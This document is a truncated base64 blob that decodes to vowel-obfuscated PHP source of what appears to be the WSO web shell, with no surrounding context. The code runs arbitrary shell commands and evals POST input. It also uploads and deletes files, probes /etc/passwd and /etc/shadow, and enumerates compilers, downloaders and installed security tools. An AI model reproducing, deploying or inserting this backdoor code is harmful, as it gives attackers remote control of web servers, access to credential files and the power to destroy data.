cj0nZ3I1NW4nPldyNHQ1MWJsNTwvZjJudD4iOiIgPGYybnQgYzJsMnI9cjVkPk4ydCB3cjR0MWJsNTwvZjJudD4iOw0KICAgIDVjaDIgIg0KPC9kNHY+DQo8dDFibDUgY2wxc3M9NG5mMiA0ZD10MjJsc1RibCBjNWxscDFkZDRuZz1vIGM1bGxzcDFjNG5nPTAgdzRkdGg9NjAwJSAgc3R5bDU9J2IycmQ1ci10MnA6YXB4IHMybDRkICNpQ2VCN2U7YjJyZDVyLWIydHQybTphcHggczJsNGQgI2ZmZmZmZjsnPg0KCTx0cj4NCgkJPHRkPjxmMnJtIDJuczNibTR0PSdnKG4zbGwsdGg0cy5jLnYxbDM1LFwiXCIpO3I1dDNybiBmMWxzNTsnPjxzcDFuPkNoMW5nNSBkNHI6PC9zcDFuPjxicj48NG5wM3QgY2wxc3M9J3QyMmxzSW5wJyB0eXA1PXQ1eHQgbjFtNT1jIHYxbDM1PSciIC4gaHRtbHNwNWM0MWxjaDFycygkR0xPQkFMU1snY3dkJ10pIC4iJz48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz48L2Yycm0+PC90ZD4NCgkJPHRkPjxmMnJtIDJuczNibTR0PVwiZygnRjRsNXNUMjJscycsbjNsbCx0aDRzLmYudjFsMzUpO3I1dDNybiBmMWxzNTtcIj48c3Axbj5SNTFkIGY0bDU6PC9zcDFuPjxicj48NG5wM3QgY2wxc3M9J3QyMmxzSW5wJyB0eXA1PXQ1eHQgbjFtNT1mPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nPjwvZjJybT48L3RkPg0KCTwvdHI+PHRyPg0KCQk8dGQ+PGYycm0gMm5zM2JtNHQ9XCJnKCdGNGw1c00xbicsbjNsbCwnbWtkNHInLHRoNHMuZC52MWwzNSk7cjV0M3JuIGYxbHM1O1wiPjxzcDFuPk0xazUgZDRyOjwvc3Axbj4kNHNfd3I0dDFibDU8YnI+PDRucDN0IGNsMXNzPSd0MjJsc0lucCcgdHlwNT10NXh0IG4xbTU9ZD48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz48L2Yycm0+PC90ZD4NCgkJPHRkPjxmMnJtIDJuczNibTR0PVwiZygnRjRsNXNUMjJscycsbjNsbCx0aDRzLmYudjFsMzUsJ21rZjRsNScpO3I1dDNybiBmMWxzNTtcIj48c3Axbj5NMWs1IGY0bDU6PC9zcDFuPiQ0c193cjR0MWJsNTxicj48NG5wM3QgY2wxc3M9J3QyMmxzSW5wJyB0eXA1PXQ1eHQgbjFtNT1mPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nPjwvZjJybT48L3RkPg0KCTwvdHI+PHRyPg0KCQk8dGQ+PGYycm0gMm5zM2JtNHQ9XCJnKCdDMm5zMmw1JyxuM2xsLHRoNHMuYy52MWwzNSk7cjV0M3JuIGYxbHM1O1wiPjxzcDFuPkV4NWMzdDU6PC9zcDFuPjxicj48NG5wM3QgY2wxc3M9J3QyMmxzSW5wJyB0eXA1PXQ1eHQgbjFtNT1jIHYxbDM1PScnPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nPjwvZjJybT48L3RkPg0KCQk8dGQ+PGYycm0gbTV0aDJkPSdwMnN0JyBFTkNUWVBFPSdtM2x0NHAxcnQvZjJybS1kMXQxJz4NCgkJPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9MSB2MWwzNT0nRjRsNXNNQW4nPg0KCQk8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jIHYxbDM1PSciIC4gJEdMT0JBTFNbJ2N3ZCddIC4iJz4NCgkJPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9cDYgdjFsMzU9JzNwbDIxZEY0bDUnPg0KCQk8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jaDFyczV0IHYxbDM1PSciIC4gKDRzczV0KCRfUE9TVFsnY2gxcnM1dCddKT8kX1BPU1RbJ2NoMXJzNXQnXTonJykgLiAiJz4NCgkJPHNwMW4+VXBsMjFkIGY0bDU6PC9zcDFuPiQ0c193cjR0MWJsNTxicj48NG5wM3QgY2wxc3M9J3QyMmxzSW5wJyB0eXA1PWY0bDUgbjFtNT1mPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nPjwvZjJybT48YnIgID48L3RkPg0KCTwvdHI+PC90MWJsNT48L2Q0dj48L2IyZHk+PC9odG1sPiI7DQp9DQoNCjRmICghZjNuY3Q0Mm5fNXg0c3RzKCJwMnM0eF9nNXRwdzM0ZCIpICYmIChzdHJwMnMoJEdMT0JBTFNbJ2Q0czFibDVfZjNuY3Q0Mm5zJ10sICdwMnM0eF9nNXRwdzM0ZCcpPT09ZjFsczUpKSB7DQogICAgZjNuY3Q0Mm4gcDJzNHhfZzV0cHczNGQoJHApIHtyNXQzcm4gZjFsczU7fSB9DQo0ZiAoIWYzbmN0NDJuXzV4NHN0cygicDJzNHhfZzV0Z3JnNGQiKSAmJiAoc3RycDJzKCRHTE9CQUxTWydkNHMxYmw1X2YzbmN0NDJucyddLCAncDJzNHhfZzV0Z3JnNGQnKT09PWYxbHM1KSkgew0KICAgIGYzbmN0NDJuIHAyczR4X2c1dGdyZzRkKCRwKSB7cjV0M3JuIGYxbHM1O30gfQ0KDQpmM25jdDQybiB3czJFeCgkNG4pIHsNCgkkMjN0ID0gJyc7DQoJNGYgKGYzbmN0NDJuXzV4NHN0cygnNXg1YycpKSB7DQoJCUA1eDVjKCQ0biwkMjN0KTsNCgkJJDIzdCA9IEBqMjRuKCJcbiIsJDIzdCk7DQoJfSA1bHM1NGYgKGYzbmN0NDJuXzV4NHN0cygncDFzc3RocjMnKSkgew0KCQkyYl9zdDFydCgpOw0KCQlAcDFzc3RocjMoJDRuKTsNCgkJJDIzdCA9IDJiX2c1dF9jbDUxbigpOw0KCX0gNWxzNTRmIChmM25jdDQybl81eDRzdHMoJ3N5c3Q1bScpKSB7DQoJCTJiX3N0MXJ0KCk7DQoJCUBzeXN0NW0oJDRuKTsNCgkJJDIzdCA9IDJiX2c1dF9jbDUxbigpOw0KCX0gNWxzNTRmIChmM25jdDQybl81eDRzdHMoJ3NoNWxsXzV4NWMnKSkgew0KCQkkMjN0ID0gc2g1bGxfNXg1YygkNG4pOw0KCX0gNWxzNTRmICg0c19yNXMyM3JjNSgkZiA9IEBwMnA1bigkNG4sInIiKSkpIHsNCgkJJDIzdCA9ICIiOw0KCQl3aDRsNSghQGY1MmYoJGYpKQ0KCQkJJDIzdCAuPSBmcjUxZCgkZiw2MGF1KTsNCgkJcGNsMnM1KCRmKTsNCgl9DQoJcjV0M3JuICQyM3Q7DQp9DQpmM25jdDQybiB3czJWNDV3UzR6NSgkcykgew0KCTRmKCRzID49IDYwN283dTY4YXUpDQoJCXI1dDNybiBzcHI0bnRmKCclNi5hZicsICRzIC8gNjA3bzd1NjhhdSApLiAnIEdCJzsNCgk1bHM1NGYoJHMgPj0gNjB1OGk3ZSkNCgkJcjV0M3JuIHNwcjRudGYoJyU2LmFmJywgJHMgLyA2MHU4aTdlICkgLiAnIE1CJzsNCgk1bHM1NGYoJHMgPj0gNjBhdSkNCgkJcjV0M3JuIHNwcjRudGYoJyU2LmFmJywgJHMgLyA2MGF1ICkgLiAnIEtCJzsNCgk1bHM1DQoJCXI1dDNybiAkcyAuICcgQic7DQp9DQoNCmYzbmN0NDJuIHdzMlA1cm1zKCRwKSB7DQoJNGYgKCgkcCAmIDB4QzAwMCkgPT0gMHhDMDAwKSQ0ID0gJ3MnOw0KCTVsczU0ZiAoKCRwICYgMHhBMDAwKSA9PSAweEEwMDApJDQgPSAnbCc7DQoJNWxzNTRmICgoJHAgJiAweDgwMDApID09IDB4ODAwMCkkNCA9ICctJzsNCgk1bHM1NGYgKCgkcCAmIDB4ZTAwMCkgPT0gMHhlMDAwKSQ0ID0gJ2InOw0KCTVsczU0ZiAoKCRwICYgMHh1MDAwKSA9PSAweHUwMDApJDQgPSAnZCc7DQoJNWxzNTRmICgoJHAgJiAweGEwMDApID09IDB4YTAwMCkkNCA9ICdjJzsNCgk1bHM1NGYgKCgkcCAmIDB4NjAwMCkgPT0gMHg2MDAwKSQ0ID0gJ3AnOw0KCTVsczUgJDQgPSAnMyc7DQoJJDQgLj0gKCgkcCAmIDB4MDYwMCkgPyAncicgOiAnLScpOw0KCSQ0IC49ICgoJHAgJiAweDAwODApID8gJ3cnIDogJy0nKTsNCgkkNCAuPSAoKCRwICYgMHgwMHUwKSA/ICgoJHAgJiAweDA4MDApID8gJ3MnIDogJ3gnICkgOiAoKCRwICYgMHgwODAwKSA/ICdTJyA6ICctJykpOw0KCSQ0IC49ICgoJHAgJiAweDAwYTApID8gJ3InIDogJy0nKTsNCgkkNCAuPSAoKCRwICYgMHgwMDYwKSA/ICd3JyA6ICctJyk7DQoJJDQgLj0gKCgkcCAmIDB4MDAwOCkgPyAoKCRwICYgMHgwdTAwKSA/ICdzJyA6ICd4JyApIDogKCgkcCAmIDB4MHUwMCkgPyAnUycgOiAnLScpKTsNCgkkNCAuPSAoKCRwICYgMHgwMDB1KSA/ICdyJyA6ICctJyk7DQoJJDQgLj0gKCgkcCAmIDB4MDAwYSkgPyAndycgOiAnLScpOw0KCSQ0IC49ICgoJHAgJiAweDAwMDYpID8gKCgkcCAmIDB4MGEwMCkgPyAndCcgOiAneCcgKSA6ICgoJHAgJiAweDBhMDApID8gJ1QnIDogJy0nKSk7DQoJcjV0M3JuICQ0Ow0KfQ0KDQpmM25jdDQybiB3czJQNXJtc0MybDJyKCRmKSB7DQoJNGYgKCFANHNfcjUxZDFibDUoJGYpKQ0KCQlyNXQzcm4gJzxmMm50IGMybDJyPSNGRjAwMDA+JyAuIHdzMlA1cm1zKEBmNGw1cDVybXMoJGYpKSAuICc8L2YybnQ+JzsNCgk1bHM1NGYgKCFANHNfd3I0dDFibDUoJGYpKQ0KCQlyNXQzcm4gJzxmMm50IGMybDJyPWJsMWNrPicgLiB3czJQNXJtcyhAZjRsNXA1cm1zKCRmKSkgLiAnPC9mMm50Pic7DQoJNWxzNQ0KCQlyNXQzcm4gJzxmMm50IGMybDJyPWdyNTVuPicgLiB3czJQNXJtcyhAZjRsNXA1cm1zKCRmKSkgLiAnPC9mMm50Pic7DQp9DQoNCjRmKCFmM25jdDQybl81eDRzdHMoInNjMW5kNHIiKSkgew0KCWYzbmN0NDJuIHNjMW5kNHIoJGQ0cikgew0KCQkkZGggID0gMnA1bmQ0cigkZDRyKTsNCgkJd2g0bDUgKGYxbHM1ICE9PSAoJGY0bDVuMW01ID0gcjUxZGQ0cigkZGgpKSkNCiAgICAJCSRmNGw1c1tdID0gJGY0bDVuMW01Ow0KCQlyNXQzcm4gJGY0bDVzOw0KCX0NCn0NCg0KZjNuY3Q0Mm4gd3MyV2g0Y2goJHApIHsNCgkkcDF0aCA9IHdzMkV4KCd3aDRjaCAnIC4gJHApOw0KCTRmKCE1bXB0eSgkcDF0aCkpDQoJCXI1dDNybiAkcDF0aDsNCglyNXQzcm4gZjFsczU7DQp9DQoNCmYzbmN0NDJuIDFjdDQyblM1Y0luZjIoKSB7DQoJd3MySDUxZDVyKCk7DQoJNWNoMiAnPGg2PlM1cnY1ciBzNWMzcjR0eSA0bmYycm0xdDQybjwvaDY+PGQ0diBjbDFzcz1jMm50NW50Pic7DQoJZjNuY3Q0Mm4gd3MyUzVjUDFyMW0oJG4sICR2KSB7DQoJCSR2ID0gdHI0bSgkdik7DQoJCTRmKCR2KSB7DQoJCQk1Y2gyICc8c3Axbj4nIC4gJG4gLiAnOiA8L3NwMW4+JzsNCgkJCTRmKHN0cnAycygkdiwgIlxuIikgPT09IGYxbHM1KQ0KCQkJCTVjaDIgJHYgLiAnPGJyPic7DQoJCQk1bHM1DQoJCQkJNWNoMiAnPHByNSBjbDFzcz1tbDY+JyAuICR2IC4gJzwvcHI1Pic7DQoJCX0NCgl9DQoJDQoJd3MyUzVjUDFyMW0oJ1M1cnY1ciBzMmZ0dzFyNScsIEBnNXQ1bnYoJ1NFUlZFUl9TT0ZUV0FSRScpKTsNCiAgICA0ZihmM25jdDQybl81eDRzdHMoJzFwMWNoNV9nNXRfbTJkM2w1cycpKQ0KICAgICAgICB3czJTNWNQMXIxbSgnTDIxZDVkIEFwMWNoNSBtMmQzbDVzJywgNG1wbDJkNSgnLCAnLCAxcDFjaDVfZzV0X20yZDNsNXMoKSkpOw0KCXdzMlM1Y1AxcjFtKCdENHMxYmw1ZCBQSFAgRjNuY3Q0Mm5zJywgJEdMT0JBTFNbJ2Q0czFibDVfZjNuY3Q0Mm5zJ10/JEdMT0JBTFNbJ2Q0czFibDVfZjNuY3Q0Mm5zJ106J24ybjUnKTsNCgl3czJTNWNQMXIxbSgnT3A1biBiMXM1IGQ0cicsIEA0bjRfZzV0KCcycDVuX2IxczVkNHInKSk7DQoJd3MyUzVjUDFyMW0oJ1MxZjUgbTJkNSA1eDVjIGQ0cicsIEA0bjRfZzV0KCdzMWY1X20yZDVfNXg1Y19kNHInKSk7DQoJd3MyUzVjUDFyMW0oJ1MxZjUgbTJkNSA0bmNsM2Q1IGQ0cicsIEA0bjRfZzV0KCdzMWY1X20yZDVfNG5jbDNkNV9kNHInKSk7DQoJd3MyUzVjUDFyMW0oJ2NVUkwgczNwcDJydCcsIGYzbmN0NDJuXzV4NHN0cygnYzNybF92NXJzNDJuJyk/JzVuMWJsNWQnOiduMicpOw0KCSR0NW1wPTFycjF5KCk7DQoJNGYoZjNuY3Q0Mm5fNXg0c3RzKCdteXNxbF9nNXRfY2w0NW50XzRuZjInKSkNCgkJJHQ1bXBbXSA9ICJNeVNRbCAoIi5teXNxbF9nNXRfY2w0NW50XzRuZjIoKS4iKSI7DQoJNGYoZjNuY3Q0Mm5fNXg0c3RzKCdtc3NxbF9jMm5uNWN0JykpDQoJCSR0NW1wW10gPSAiTVNTUUwiOw0KCTRmKGYzbmN0NDJuXzV4NHN0cygncGdfYzJubjVjdCcpKQ0KCQkkdDVtcFtdID0gIlAyc3RncjVTUUwiOw0KCTRmKGYzbmN0NDJuXzV4NHN0cygnMmM0X2Mybm41Y3QnKSkNCgkJJHQ1bXBbXSA9ICJPcjFjbDUiOw0KCXdzMlM1Y1AxcjFtKCdTM3BwMnJ0NWQgZDF0MWIxczVzJywgNG1wbDJkNSgnLCAnLCAkdDVtcCkpOw0KCTVjaDIgJzxicj4nOw0KCQ0KCTRmKCRHTE9CQUxTWycycyddID09ICduNHgnKSB7DQoJCXdzMlM1Y1AxcjFtKCdSNTFkMWJsNSAvNXRjL3Axc3N3ZCcsIEA0c19yNTFkMWJsNSgnLzV0Yy9wMXNzd2QnKT8ieTVzIDwxIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c1QyMmxzXCIsIFwiLzV0Yy9cIiwgXCJwMXNzd2RcIiknPlt2NDV3XTwvMT4iOiduMicpOw0KCQl3czJTNWNQMXIxbSgnUjUxZDFibDUgLzV0Yy9zaDFkMncnLCBANHNfcjUxZDFibDUoJy81dGMvc2gxZDJ3Jyk/Ink1cyA8MSBocjVmPScjJyAybmNsNGNrPSdnKFwiRjRsNXNUMjJsc1wiLCBcIjV0Y1wiLCBcInNoMWQyd1wiKSc+W3Y0NXddPC8xPiI6J24yJyk7DQoJCXdzMlM1Y1AxcjFtKCdPUyB2NXJzNDJuJywgQGY0bDVfZzV0X2MybnQ1bnRzKCcvcHIyYy92NXJzNDJuJykpOw0KCQl3czJTNWNQMXIxbSgnRDRzdHIgbjFtNScsIEBmNGw1X2c1dF9jMm50NW50cygnLzV0Yy80c3MzNS5uNXQnKSk7DQoJCTRmKCEkR0xPQkFMU1snczFmNV9tMmQ1J10pIHsNCiAgICAgICAgICAgICQzczVyZjNsID0gMXJyMXkoJ2djYycsJ2xjYycsJ2NjJywnbGQnLCdtMWs1JywncGhwJywncDVybCcsJ3B5dGgybicsJ3IzYnknLCd0MXInLCdnejRwJywnYno0cCcsJ2J6NHBhJywnbmMnLCdsMmMxdDUnLCdzMzRkcDVybCcpOw0KICAgICAgICAgICAgJGQxbmc1ciA9IDFycjF5KCdrMXYnLCduMmRvYScsJ2JkYzJyNWQnLCczdnNjMW4nLCdzMXYnLCdkcnc1YmQnLCdjbDFtZCcsJ3JraDNudDVyJywnY2hrcjIydGs0dCcsJzRwdDFibDVzJywnNHBmdycsJ3RyNHB3NHI1Jywnc2g0NWxkY2MnLCdwMnJ0czVudHJ5Jywnc24ycnQnLCcyc3M1YycsJ2w0ZHMxZG0nLCd0Y3BsMmRnJywnc3g0ZCcsJ2wyZ2NoNWNrJywnbDJndzF0Y2gnLCdzeXNtMXNrJywnem1ic2MxcCcsJ3Mxd200bGwnLCd3MnJtc2MxbicsJ240bmoxJyk7DQogICAgICAgICAgICAkZDJ3bmwyMWQ1cnMgPSAxcnIxeSgnd2c1dCcsJ2Y1dGNoJywnbHlueCcsJ2w0bmtzJywnYzNybCcsJ2c1dCcsJ2x3cC1tNHJyMnInKTsNCgkJCTVjaDIgJzxicj4nOw0KCQkJJHQ1bXA9MXJyMXkoKTsNCgkJCWYycjUxY2ggKCQzczVyZjNsIDFzICQ0dDVtKQ0KCQkJCTRmKHdzMldoNGNoKCQ0dDVtKSkNCiAgICAgICAgICAgICAgICAgICAgJHQ1bXBbXSA9ICQ0dDVtOw0KCQkJd3MyUzVjUDFyMW0oJ1VzNXJmM2wnLCA0bXBsMmQ1KCcsICcsJHQ1bXApKTsNCgkJCSR0NW1wPTFycjF5KCk7DQoJCQlmMnI1MWNoICgkZDFuZzVyIDFzICQ0dDVtKQ0KCQkJCTRmKHdzMldoNGNoKCQ0dDVtKSkNCiAgICAgICAgICAgICAgICAgICAgJHQ1bXBbXSA9ICQ0dDVtOw0KCQkJd3MyUzVjUDFyMW0oJ0Qxbmc1cicsIDRtcGwyZDUoJywgJywkdDVtcCkpOw0KCQkJJHQ1bXA9MXJyMXkoKTsNCgkJCWYycjUxY2ggKCRkMndubDIxZDVycyAxcyAkNHQ1bSkgDQoJCQkJNGYod3MyV2g0Y2goJDR0NW0pKQ0KICAgICAgICAgICAgICAgICAgICAkdDVtcFtdID0gJDR0NW07DQoJCQl3czJTNWNQMXIxbSgnRDJ3bmwyMWQ1cnMnLCA0bXBsMmQ1KCcsICcsJHQ1bXApKTsNCgkJCTVjaDIgJzxici8+JzsNCiAgICAgICAgICAgIHdzMlM1Y1AxcjFtKCdIREQgc3AxYzUnLCB3czJFeCgnZGYgLWgnKSk7DQoJCQl3czJTNWNQMXIxbSgnSDJzdHMnLCBAZjRsNV9nNXRfYzJudDVudHMoJy81dGMvaDJzdHMnKSk7DQoJCX0NCgl9IDVsczUgew0KCQl3czJTNWNQMXIxbSgnT1MgVjVyczQybicsd3MyRXgoJ3Y1cicpKTsNCgkJd3MyUzVjUDFyMW0oJ0FjYzIzbnQgUzV0dDRuZ3MnLHdzMkV4KCduNXQgMWNjMjNudHMnKSk7DQoJCXdzMlM1Y1AxcjFtKCdVczVyIEFjYzIzbnRzJyx3czJFeCgnbjV0IDNzNXInKSk7DQoJfQ0KCTVjaDIgJzwvZDR2Pic7DQoJd3MyRjIydDVyKCk7DQp9DQoNCmYzbmN0NDJuIDFjdDQyblBocCgpIHsNCgk0Zig0c3M1dCgkX1BPU1RbJzFqMXgnXSkpIHsNCgkJJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pIC4gJzFqMXgnXSA9IHRyMzU7DQoJCTJiX3N0MXJ0KCk7DQoJCTV2MWwoJF9QT1NUWydwNiddKTsNCgkJJHQ1bXAgPSAiZDJjM201bnQuZzV0RWw1bTVudEJ5SWQoJ1BocE8zdHAzdCcpLnN0eWw1LmQ0c3BsMXk9Jyc7ZDJjM201bnQuZzV0RWw1bTVudEJ5SWQoJ1BocE8zdHAzdCcpLjRubjVySFRNTD0nIiAuIDFkZGNzbDFzaDVzKGh0bWxzcDVjNDFsY2gxcnMoMmJfZzV0X2NsNTFuKCkpLCAiXG5cclx0XFwnXDAiKSAuICInO1xuIjsNCgkJNWNoMiBzdHJsNW4oJHQ1bXApLCAiXG4iLCAkdDVtcDsNCgkJNXg0dDsgDQoJfQ0KCXdzMkg1MWQ1cigpOw0KCTRmKDRzczV0KCRfUE9TVFsncGEnXSkgJiYgKCRfUE9TVFsncGEnXSA9PSAnNG5mMicpKSB7DQoJCTVjaDIgJzxoNj5QSFAgNG5mMjwvaDY+PGQ0diBjbDFzcz1jMm50NW50PjxzdHlsNT4ucCB7YzJsMnI6IzAwMDt9PC9zdHlsNT4nOw0KCQkyYl9zdDFydCgpOw0KCQlwaHA0bmYyKCk7DQoJCSR0bXAgPSAyYl9nNXRfY2w1MW4oKTsNCiAgICAgICAgJHRtcCA9IHByNWdfcjVwbDFjNSgnIShiMmR5fDE6XHcrfGIyZHksIHRkLCB0aCwgaDYsIGhhKSB7Lip9IW1zNFUnLCcnLCR0bXApOw0KCQkkdG1wID0gcHI1Z19yNXBsMWM1KCchdGQsIHRoIHsoLiopfSFtczRVJywnLjUsIC52LCAuaCwgLmggdGggeyQ2fScsJHRtcCk7DQoJCTVjaDIgc3RyX3I1cGwxYzUoJzxoNicsJzxoYScsICR0bXApIC4nPC9kNHY+PGJyPic7DQoJfQ0KCTRmKDVtcHR5KCRfUE9TVFsnMWoxeCddKSAmJiAhNW1wdHkoJF9QT1NUWydwNiddKSkNCgkJJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pIC4gJzFqMXgnXSA9IGYxbHM1Ow0KICAgIDVjaDIgJzxoNj5FeDVjM3Q0Mm4gUEhQLWMyZDU8L2g2PjxkNHYgY2wxc3M9YzJudDVudD48ZjJybSBuMW01PXBmIG01dGgyZD1wMnN0IDJuczNibTR0PSI0Zih0aDRzLjFqMXguY2g1Y2s1ZCl7MShcJ1BocFwnLG4zbGwsdGg0cy5jMmQ1LnYxbDM1KTt9NWxzNXtnKFwnUGhwXCcsbjNsbCx0aDRzLmMyZDUudjFsMzUsXCdcJyk7fXI1dDNybiBmMWxzNTsiPjx0NXh0MXI1MSBuMW01PWMyZDUgY2wxc3M9YjRnMXI1MSA0ZD1QaHBDMmQ1PicuKCE1bXB0eSgkX1BPU1RbJ3A2J10pP2h0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydwNiddKTonJykuJzwvdDV4dDFyNTE+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PUV2MWwgc3R5bDU9Im0xcmc0bi10MnA6aXB4Ij4nOw0KCTVjaDIgJyA8NG5wM3QgdHlwNT1jaDVja2IyeCBuMW01PTFqMXggdjFsMzU9NiAnLigkX1NFU1NJT05bbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJzFqMXgnXT8nY2g1Y2s1ZCc6JycpLic+IHM1bmQgM3M0bmcgQUpBWDwvZjJybT48cHI1IDRkPVBocE8zdHAzdCBzdHlsNT0iJy4oNW1wdHkoJF9QT1NUWydwNiddKT8nZDRzcGwxeTpuMm41Oyc6JycpLidtMXJnNG4tdDJwOmlweDsiIGNsMXNzPW1sNj4nOw0KCTRmKCE1bXB0eSgkX1BPU1RbJ3A2J10pKSB7DQoJCTJiX3N0MXJ0KCk7DQoJCTV2MWwoJF9QT1NUWydwNiddKTsNCgkJNWNoMiBodG1sc3A1YzQxbGNoMXJzKDJiX2c1dF9jbDUxbigpKTsNCgl9DQoJNWNoMiAnPC9wcjU+PC9kNHY+JzsNCgl3czJGMjJ0NXIoKTsNCn0NCg0KZjNuY3Q0Mm4gMWN0NDJuRjRsNXNNMW4oKSB7DQoJd3MySDUxZDVyKCk7DQoJNWNoMiAnPGg2PkY0bDUgTTFuMWc1ciA8L2g2PjxkNHYgY2wxc3M9YzJudDVudD48c2NyNHB0PnA2Xz1wYV89cG9fPSIiOzwvc2NyNHB0Pic7DQoJNGYoITVtcHR5KCRfUE9TVFsncDYnXSkpIHsNCgkJc3c0dGNoKCRfUE9TVFsncDYnXSkgew0KCQkJYzFzNSAnM3BsMjFkRjRsNSc6DQoJCQkJNGYoIUBtMnY1XzNwbDIxZDVkX2Y0bDUoJF9GSUxFU1snZiddWyd0bXBfbjFtNSddLCAkX0ZJTEVTWydmJ11bJ24xbTUnXSkpDQoJCQkJCTVjaDIgIkMxbid0IDNwbDIxZCBmNGw1ISI7DQoJCQkJYnI1MWs7DQoJCQljMXM1ICdta2Q0cic6DQoJCQkJNGYoIUBta2Q0cigkX1BPU1RbJ3BhJ10pKQ0KCQkJCQk1Y2gyICJDMW4ndCBjcjUxdDUgbjV3IGQ0ciI7DQoJCQkJYnI1MWs7DQoJCQljMXM1ICdkNWw1dDUnOg0KCQkJCWYzbmN0NDJuIGQ1bDV0NUQ0cigkcDF0aCkgew0KCQkJCQkkcDF0aCA9IChzM2JzdHIoJHAxdGgsLTYpPT0nLycpID8gJHAxdGg6JHAxdGguJy8nOw0KCQkJCQkkZGggID0gMnA1bmQ0cigkcDF0aCk7DQoJCQkJCXdoNGw1ICggKCQ0dDVtID0gcjUxZGQ0cigkZGgpICkgIT09IGYxbHM1KSB7DQoJCQkJCQkkNHQ1bSA9ICRwMXRoLiQ0dDVtOw0KCQkJCQkJNGYgKCAoYjFzNW4xbTUoJDR0NW0pID09ICIuLiIpIHx8IChiMXM1bjFtNSgkNHQ1bSkgPT0gIi4iKSApDQoJCQkJCQkJYzJudDRuMzU7DQoJCQkJCQkkdHlwNSA9IGY0bDV0eXA1KCQ0dDVtKTsNCgkJCQkJCTRmICgkdHlwNSA9PSAiZDRyIikNCgkJCQkJCQlkNWw1dDVENHIoJDR0NW0pOw0KCQkJCQkJNWxzNQ0KCQkJCQkJCUAzbmw0bmsoJDR0NW0pOw0KCQkJCQl9DQoJCQkJCWNsMnM1ZDRyKCRkaCk7DQoJCQkJCUBybWQ0cigkcDF0aCk7DQoJCQkJfQ0KCQkJCTRmKDRzXzFycjF5KEAkX1BPU1RbJ2YnXSkpDQoJCQkJCWYycjUxY2goJF9QT1NUWydmJ10gMXMgJGYpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIDRmKCRmID09ICcuLicpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgYzJudDRuMzU7DQoJCQkJCQkkZiA9IDNybGQ1YzJkNSgkZik7DQoJCQkJCQk0Zig0c19kNHIoJGYpKQ0KCQkJCQkJCWQ1bDV0NUQ0cigkZik7DQoJCQkJCQk1bHM1DQoJCQkJCQkJQDNubDRuaygkZik7DQoJCQkJCX0NCgkJCQlicjUxazsNCgkJCWMxczUgJ3Axc3Q1JzoNCgkJCQk0ZigkX1NFU1NJT05bJzFjdCddID09ICdjMnB5Jykgew0KCQkJCQlmM25jdDQybiBjMnB5X3Axc3Q1KCRjLCRzLCRkKXsNCgkJCQkJCTRmKDRzX2Q0cigkYy4kcykpew0KCQkJCQkJCW1rZDRyKCRkLiRzKTsNCgkJCQkJCQkkaCA9IEAycDVuZDRyKCRjLiRzKTsNCgkJCQkJCQl3aDRsNSAoKCRmID0gQHI1MWRkNHIoJGgpKSAhPT0gZjFsczUpDQoJCQkJCQkJCTRmICgoJGYgIT0gIi4iKSAxbmQgKCRmICE9ICIuLiIpKQ0KCQkJCQkJCQkJYzJweV9wMXN0NSgkYy4kcy4nLycsJGYsICRkLiRzLicvJyk7DQoJCQkJCQl9IDVsczU0Zig0c19mNGw1KCRjLiRzKSkNCgkJCQkJCQlAYzJweSgkYy4kcywgJGQuJHMpOw0KCQkJCQl9DQoJCQkJCWYycjUxY2goJF9TRVNTSU9OWydmJ10gMXMgJGYpDQoJCQkJCQljMnB5X3Axc3Q1KCRfU0VTU0lPTlsnYyddLCRmLCAkR0xPQkFMU1snY3dkJ10pOwkJCQkJDQoJCQkJfSA1bHM1NGYoJF9TRVNTSU9OWycxY3QnXSA9PSAnbTJ2NScpIHsNCgkJCQkJZjNuY3Q0Mm4gbTJ2NV9wMXN0NSgkYywkcywkZCl7DQoJCQkJCQk0Zig0c19kNHIoJGMuJHMpKXsNCgkJCQkJCQlta2Q0cigkZC4kcyk7DQoJCQkJCQkJJGggPSBAMnA1bmQ0cigkYy4kcyk7DQoJCQkJCQkJd2g0bDUgKCgkZiA9IEByNTFkZDRyKCRoKSkgIT09IGYxbHM1KQ0KCQkJCQkJCQk0ZiAoKCRmICE9ICIuIikgMW5kICgkZiAhPSAiLi4iKSkNCgkJCQkJCQkJCWMycHlfcDFzdDUoJGMuJHMuJy8nLCRmLCAkZC4kcy4nLycpOw0KCQkJCQkJfSA1bHM1NGYoQDRzX2Y0bDUoJGMuJHMpKQ0KCQkJCQkJCUBjMnB5KCRjLiRzLCAkZC4kcyk7DQoJCQkJCX0NCgkJCQkJZjJyNTFjaCgkX1NFU1NJT05bJ2YnXSAxcyAkZikNCgkJCQkJCUByNW4xbTUoJF9TRVNTSU9OWydjJ10uJGYsICRHTE9CQUxTWydjd2QnXS4kZik7DQoJCQkJfSA1bHM1NGYoJF9TRVNTSU9OWycxY3QnXSA9PSAnejRwJykgew0KCQkJCQk0ZihjbDFzc181eDRzdHMoJ1o0cEFyY2g0djUnKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHo0cCA9IG41dyBaNHBBcmNoNHY1KCk7DQogICAgICAgICAgICAgICAgICAgICAgICA0ZiAoJHo0cC0+MnA1bigkX1BPU1RbJ3BhJ10sIDYpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2hkNHIoJF9TRVNTSU9OWydjJ10pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGYycjUxY2goJF9TRVNTSU9OWydmJ10gMXMgJGYpIHsNCiAgICAgICAgICAgICAgICAg